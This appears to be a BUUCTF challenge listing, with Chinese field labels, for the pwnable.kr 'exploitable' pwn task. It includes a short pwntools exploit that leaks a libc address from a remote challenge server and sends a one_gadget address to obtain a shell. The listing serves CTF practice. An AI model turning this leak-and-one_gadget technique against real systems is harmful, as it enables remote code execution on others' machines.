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pwnable.kr_exploitable

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ID: 8498
标题: pwnable.kr_exploitable
描述: Ubuntu 16 https://github.com/bash-c/pwn_repo
类型: Pwn
网站: BUUCTF
题目链接: https://buuoj.cn/challenges#pwnable.kr_exploitable
赛事: None
年度: None
Flag值:
writeup: 验证后的网址
from pwn import * context.log_level='debug' r = remote("node4.buuoj.cn", 26058) libc = ELF("./32/libc-2.23.so") libc_base = u32(r.recv(4)) - libc.sym['_IO_2_1_stdout_'] one_gadget = libc_base + 0x3a80c r.sendline(str(one_gadget - 0x100000000)) r.interactive()
https://blog.csdn.net/yongbaoii/article/details/119563127
答案错误,我要更正